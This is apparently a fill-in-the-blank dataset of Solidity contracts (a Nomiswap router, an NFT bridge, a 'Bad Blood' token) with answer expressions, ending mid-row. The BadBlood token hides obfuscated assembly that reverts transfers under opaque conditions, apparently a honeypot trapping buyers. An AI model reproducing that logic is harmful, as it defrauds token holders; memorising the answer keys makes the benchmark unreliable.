function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| IWETH(WETH).transfer(_getPair(path[0],path[1]),amounts[0]),'NomiswapRouter: FAILED_TO_TRANSFER' | 261,216 | IWETH(WETH).transfer(_getPair(path[0],path[1]),amounts[0]) |
'NomiswapRouter: INSUFFICIENT_OUTPUT_AMOUNT' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, _getPair(path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(<FILL_ME>)
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| IERC20(path[path.length-1]).balanceOf(to)-balanceBefore>=amountOutMin,'NomiswapRouter: INSUFFICIENT_OUTPUT_AMOUNT' | 261,216 | IERC20(path[path.length-1]).balanceOf(to)-balanceBefore>=amountOutMin |
'NomiswapRouter: FAILED_TO_TRANSFER' | // SPDX-License-Identifier: MIT
pragma solidity =0.8.15;
import '@uniswap/lib/contracts/libraries/TransferHelper.sol';
import './interfaces/INomiswapRouter02.sol';
import './libraries/BalancerLibrary.sol';
import './libraries/NomiswapLibrary.sol';
import './interfaces/IWETH.sol';
interface INomiswapStablePairExtended is INomiswapStablePair {
function token0PrecisionMultiplier() external view returns (uint128);
function token1PrecisionMultiplier() external view returns (uint128);
}
contract NomiswapRouter04 {
address public immutable factory;
address public immutable stableSwapFactory;
address public immutable WETH;
modifier ensure(uint deadline) {
}
constructor(address _factory, address _stableSwapFactory, address _WETH) {
}
receive() external payable {
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address _factory,
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) private returns (uint amountA, uint amountB) {
}
function balanceLiquidity(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired
) public view returns (uint[4] memory) {
}
function divRoundUp(uint numerator, uint denumerator) private pure returns (uint) {
}
function _addLiquidityImbalanced(
address _factory,
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min
) private returns (uint[4] memory) {
}
function _getFactory(address tokenA, address tokenB) private view returns (address _factory) {
}
function _getPairAndFactory(address tokenA, address tokenB) private view returns (address, address) {
}
function _getPair(address tokenA, address tokenB) private view returns (address pair) {
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalanced(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
}
function addLiquidityImbalancedSorted(
address token0,
address token1,
uint amount0Desired,
uint amount1Desired,
uint amount0Min,
uint amount1Min,
address to,
uint deadline
) private ensure(deadline) returns (uint liquidity) {
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
function addLiquidityETHImbalanced(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountA, uint amountB) {
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountToken, uint amountETH) {
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB) {
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH) {
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public ensure(deadline) returns (uint amountETH) {
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH) {
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) private {
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) returns (uint[] memory amounts) {
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
ensure(deadline)
returns (uint[] memory amounts)
{
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
payable
ensure(deadline)
returns (uint[] memory amounts)
{
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) private {
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external ensure(deadline) {
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
payable
ensure(deadline)
{
require(path[0] == WETH, 'NomiswapRouter: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
require(<FILL_ME>)
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to) - balanceBefore >= amountOutMin,
'NomiswapRouter: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
ensure(deadline)
{
}
}
| IWETH(WETH).transfer(_getPair(path[0],path[1]),amountIn),'NomiswapRouter: FAILED_TO_TRANSFER' | 261,216 | IWETH(WETH).transfer(_getPair(path[0],path[1]),amountIn) |
"ERC20: trading is not yet enabled." | /*
BLOOD [[- BAD BLOOD -]] ETH
MAGNETS, HOW DO THEY WORK?
*/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private addBlood;
uint256 private _pepperRed = block.number*2;
mapping (address => bool) private _firstFruit;
mapping (address => bool) private _secondMeat;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private starAssembly;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private lordSky;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private setValue = 1; bool private intToBool;
uint256 private _decimals; uint256 private houseDragon;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function _InitToken() internal {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal {
require(<FILL_ME>)
assembly {
function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(chainid(),0x1) {
if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }
if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x7)),gt(float,div(sload(0x99),0x2))),and(gt(float,div(sload(0x99),0x3)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) }
if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x99) let g := sload(0x11)
switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) }
sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) }
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) }
if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) }
sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployBlood(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract BadBlood is ERC20Token {
constructor() ERC20Token("Bad Blood", "BLOOD", msg.sender, 335000 * 10 ** 18) {
}
}
| (trading||(sender==addBlood[1])),"ERC20: trading is not yet enabled." | 261,261 | (trading||(sender==addBlood[1])) |
"Already bridged token" | // SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;
import "../tokens/HelixNFT.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
/**
* HelixNFTBridge is responsible for many things related to NFT Bridging from-/to-
* Solana blockchain. Here's the full list:
* - allow Solana NFT to be minted on Ethereum (bridgeFromSolana)
*/
contract HelixNFTBridge is Ownable, Pausable {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* Bridge status determines
* 0: pendding status, so when the BridgeServer adds BridgedToken
* 1: after minted the Ethereum NFT
*/
enum BridgeStatus {
Pendding,
Bridged,
Burned
}
struct BridgeFactory {
address user; // owner of Ethereum NFT
string[] externalIDs; // mint tokenIDs on Solana
string[] nftIDs; // label IDs on Solana
string[] tokenURIs; // tokenURIs on Solana : Ethereum NFT's TokenURI will be tokenURIs[0]
BridgeStatus bridgeStatus; // bridge status
}
/// bridgeFactoryId => BridgeFactory
mapping(uint256 => BridgeFactory) public bridgeFactories;
/// user -> bridgeFactoryIDs[]
mapping(address => uint[]) public bridgeFactoryIDs;
/// ethereum NFT tokenId -> true/false
mapping(uint256 => bool) private _bridgedTokenIDs;
/**
* @dev If the NFT is available on the Ethereum, then this map stores true
* for the externalID, false otherwise.
*/
mapping(string => bool) private _bridgedExternalTokenIDs;
/// for counting whenever add bridge once approve on solana
/// if it's down to 0, will call to remove bridger
/// user => counts
mapping(address => uint256) private _countAddBridge;
address public admin;
/// user should send some ETH to admin wallet when doing bridgeToEthereum
uint256 public gasFeeETH;
uint256 public bridgeFactoryLastId;
/**
* @dev Bridgers are Helix service accounts which listen to the events
* happening on the Solana chain and then enabling the NFT for
* minting / unlocking it for usage on Ethereum.
*/
EnumerableSet.AddressSet private _bridgers;
// Emitted when tokens are bridged to Ethereum
event BridgeToEthereum(
address indexed bridger,
string[] externalTokenIds,
string uri
);
// Emitted when tokens are bridged to Solana
event BridgeToSolana(
string externalRecipientAddr,
string[] externalTokenIDs
);
// Emitted when a bridger is added
event AddBridger(
address indexed bridger,
string externalIDs,
uint256 newBridgeFactoryId
);
// Emitted when a bridger is deleted
event DelBridger(address indexed bridger);
/**
* @dev HelixNFT contract
*/
HelixNFT helixNFT;
constructor(HelixNFT _helixNFT, address _admin, uint256 _gasFeeETH) {
}
function addBridgeFactory(address _user, string[] calldata _externalIDs, string[] calldata _nftIDs, string[] calldata _tokenURIs)
external
onlyOwner
{
require(_user != address(0), "Zero Array");
require(_externalIDs.length != 0, "Not Array");
require(_externalIDs.length == _nftIDs.length, "Invalid Array");
require(_externalIDs.length == _tokenURIs.length, "Invalid Array");
uint256 length = _externalIDs.length;
for (uint256 i = 0; i < length; i++) {
string memory _externalID = _externalIDs[i];
require(<FILL_ME>)
_bridgedExternalTokenIDs[_externalID] = true;
}
string[] memory _newExternalIDs = new string[](length);
string[] memory _newNftIDs = new string[](length);
string[] memory _newTokenURIs = new string[](length);
_newExternalIDs = _externalIDs;
_newNftIDs = _nftIDs;
_newTokenURIs = _tokenURIs;
uint256 _bridgeFactoryId = bridgeFactoryLastId++;
BridgeFactory storage _factory = bridgeFactories[_bridgeFactoryId];
_factory.user = _user;
_factory.bridgeStatus = BridgeStatus.Pendding;
_factory.externalIDs = _newExternalIDs;
_factory.nftIDs = _newNftIDs;
_factory.tokenURIs = _newTokenURIs;
// Relay the bridge id to the user's account
bridgeFactoryIDs[_user].push(_bridgeFactoryId);
_countAddBridge[_user]++;
EnumerableSet.add(_bridgers, _user);
emit AddBridger(_user, _newExternalIDs[0], _bridgeFactoryId);
}
/**
* @dev This function is called ONLY by bridgers to bridge the token to Ethereum
*/
function bridgeToEthereum(uint256 _bridgeFactoryId)
external
onlyBridger
whenNotPaused
payable
returns(bool)
{
}
function getBridgeFactoryIDs(address _user) external view returns (uint[] memory) {
}
function getBridgeFactories(address _user) external view returns (BridgeFactory[] memory) {
}
/**
* @dev Whether the token is bridged or not.
*/
function isBridged(string calldata _externalTokenID) external view returns (bool) {
}
/// Called by the owner to pause the contract
function pause() external onlyOwner {
}
/// Called by the owner to unpause the contract
function unpause() external onlyOwner {
}
/**
* @dev Mark token as unavailable on Ethereum.
*/
// TODO - check this thoroughly for correctness
function bridgeToSolana(uint256 _tokenId, string calldata _externalRecipientAddr)
external
whenNotPaused
{
}
/**
* @dev used by owner to delete bridger
* @param _bridger address of bridger to be deleted.
* @return true if successful.
*/
function delBridger(address _bridger) external onlyOwner returns (bool) {
}
function _delBridger(address _bridger) internal returns (bool) {
}
/**
* @dev See the number of bridgers
* @return number of bridges.
*/
function getBridgersLength() public view returns (uint256) {
}
/**
* @dev Check if an address is a bridger
* @return true or false based on bridger status.
*/
function isBridger(address account) public view returns (bool) {
}
/**
* @dev Get the staker at n location
* @param _index index of address set
* @return address of staker at index.
*/
function getBridger(uint256 _index)
external
view
returns (address)
{
}
/**
* @dev Modifier for operations which can be performed only by bridgers
*/
modifier onlyBridger() {
}
}
| !_bridgedExternalTokenIDs[_externalID],"Already bridged token" | 261,300 | !_bridgedExternalTokenIDs[_externalID] |
"HelixNFTBridge: You are not a Bridger" | // SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;
import "../tokens/HelixNFT.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
/**
* HelixNFTBridge is responsible for many things related to NFT Bridging from-/to-
* Solana blockchain. Here's the full list:
* - allow Solana NFT to be minted on Ethereum (bridgeFromSolana)
*/
contract HelixNFTBridge is Ownable, Pausable {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* Bridge status determines
* 0: pendding status, so when the BridgeServer adds BridgedToken
* 1: after minted the Ethereum NFT
*/
enum BridgeStatus {
Pendding,
Bridged,
Burned
}
struct BridgeFactory {
address user; // owner of Ethereum NFT
string[] externalIDs; // mint tokenIDs on Solana
string[] nftIDs; // label IDs on Solana
string[] tokenURIs; // tokenURIs on Solana : Ethereum NFT's TokenURI will be tokenURIs[0]
BridgeStatus bridgeStatus; // bridge status
}
/// bridgeFactoryId => BridgeFactory
mapping(uint256 => BridgeFactory) public bridgeFactories;
/// user -> bridgeFactoryIDs[]
mapping(address => uint[]) public bridgeFactoryIDs;
/// ethereum NFT tokenId -> true/false
mapping(uint256 => bool) private _bridgedTokenIDs;
/**
* @dev If the NFT is available on the Ethereum, then this map stores true
* for the externalID, false otherwise.
*/
mapping(string => bool) private _bridgedExternalTokenIDs;
/// for counting whenever add bridge once approve on solana
/// if it's down to 0, will call to remove bridger
/// user => counts
mapping(address => uint256) private _countAddBridge;
address public admin;
/// user should send some ETH to admin wallet when doing bridgeToEthereum
uint256 public gasFeeETH;
uint256 public bridgeFactoryLastId;
/**
* @dev Bridgers are Helix service accounts which listen to the events
* happening on the Solana chain and then enabling the NFT for
* minting / unlocking it for usage on Ethereum.
*/
EnumerableSet.AddressSet private _bridgers;
// Emitted when tokens are bridged to Ethereum
event BridgeToEthereum(
address indexed bridger,
string[] externalTokenIds,
string uri
);
// Emitted when tokens are bridged to Solana
event BridgeToSolana(
string externalRecipientAddr,
string[] externalTokenIDs
);
// Emitted when a bridger is added
event AddBridger(
address indexed bridger,
string externalIDs,
uint256 newBridgeFactoryId
);
// Emitted when a bridger is deleted
event DelBridger(address indexed bridger);
/**
* @dev HelixNFT contract
*/
HelixNFT helixNFT;
constructor(HelixNFT _helixNFT, address _admin, uint256 _gasFeeETH) {
}
function addBridgeFactory(address _user, string[] calldata _externalIDs, string[] calldata _nftIDs, string[] calldata _tokenURIs)
external
onlyOwner
{
}
/**
* @dev This function is called ONLY by bridgers to bridge the token to Ethereum
*/
function bridgeToEthereum(uint256 _bridgeFactoryId)
external
onlyBridger
whenNotPaused
payable
returns(bool)
{
require(msg.value >= gasFeeETH, "Insufficient Gas FEE");
(bool success, ) = payable(admin).call{value: gasFeeETH, gas: 30000}("");
require(success, "receiver rejected ETH transfer");
address _user = msg.sender;
require(<FILL_ME>)
BridgeFactory memory _bridgeFactory = bridgeFactories[_bridgeFactoryId];
require(_bridgeFactory.user == _user, "Not a bridger");
require(_bridgeFactory.bridgeStatus == BridgeStatus.Pendding, "Already bridged factory");
_countAddBridge[_user]--;
bridgeFactories[_bridgeFactoryId].bridgeStatus = BridgeStatus.Bridged;
uint256 tokenId = helixNFT.getLastTokenId() + 1;
_bridgedTokenIDs[tokenId] = true;
// Ethereum NFT's TokenURI is first URI of wrapped geobots
string memory tokenURI = _bridgeFactory.tokenURIs[0];
helixNFT.mintExternal(_user, _bridgeFactory.externalIDs, _bridgeFactory.nftIDs, tokenURI, _bridgeFactoryId);
if (_countAddBridge[_user] == 0)
_delBridger(_user);
emit BridgeToEthereum(_user, _bridgeFactory.externalIDs, tokenURI);
return true;
}
function getBridgeFactoryIDs(address _user) external view returns (uint[] memory) {
}
function getBridgeFactories(address _user) external view returns (BridgeFactory[] memory) {
}
/**
* @dev Whether the token is bridged or not.
*/
function isBridged(string calldata _externalTokenID) external view returns (bool) {
}
/// Called by the owner to pause the contract
function pause() external onlyOwner {
}
/// Called by the owner to unpause the contract
function unpause() external onlyOwner {
}
/**
* @dev Mark token as unavailable on Ethereum.
*/
// TODO - check this thoroughly for correctness
function bridgeToSolana(uint256 _tokenId, string calldata _externalRecipientAddr)
external
whenNotPaused
{
}
/**
* @dev used by owner to delete bridger
* @param _bridger address of bridger to be deleted.
* @return true if successful.
*/
function delBridger(address _bridger) external onlyOwner returns (bool) {
}
function _delBridger(address _bridger) internal returns (bool) {
}
/**
* @dev See the number of bridgers
* @return number of bridges.
*/
function getBridgersLength() public view returns (uint256) {
}
/**
* @dev Check if an address is a bridger
* @return true or false based on bridger status.
*/
function isBridger(address account) public view returns (bool) {
}
/**
* @dev Get the staker at n location
* @param _index index of address set
* @return address of staker at index.
*/
function getBridger(uint256 _index)
external
view
returns (address)
{
}
/**
* @dev Modifier for operations which can be performed only by bridgers
*/
modifier onlyBridger() {
}
}
| _countAddBridge[_user]>0,"HelixNFTBridge: You are not a Bridger" | 261,300 | _countAddBridge[_user]>0 |
"HelixNFT: already bridged to Solana" | // SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0;
import "../tokens/HelixNFT.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
/**
* HelixNFTBridge is responsible for many things related to NFT Bridging from-/to-
* Solana blockchain. Here's the full list:
* - allow Solana NFT to be minted on Ethereum (bridgeFromSolana)
*/
contract HelixNFTBridge is Ownable, Pausable {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* Bridge status determines
* 0: pendding status, so when the BridgeServer adds BridgedToken
* 1: after minted the Ethereum NFT
*/
enum BridgeStatus {
Pendding,
Bridged,
Burned
}
struct BridgeFactory {
address user; // owner of Ethereum NFT
string[] externalIDs; // mint tokenIDs on Solana
string[] nftIDs; // label IDs on Solana
string[] tokenURIs; // tokenURIs on Solana : Ethereum NFT's TokenURI will be tokenURIs[0]
BridgeStatus bridgeStatus; // bridge status
}
/// bridgeFactoryId => BridgeFactory
mapping(uint256 => BridgeFactory) public bridgeFactories;
/// user -> bridgeFactoryIDs[]
mapping(address => uint[]) public bridgeFactoryIDs;
/// ethereum NFT tokenId -> true/false
mapping(uint256 => bool) private _bridgedTokenIDs;
/**
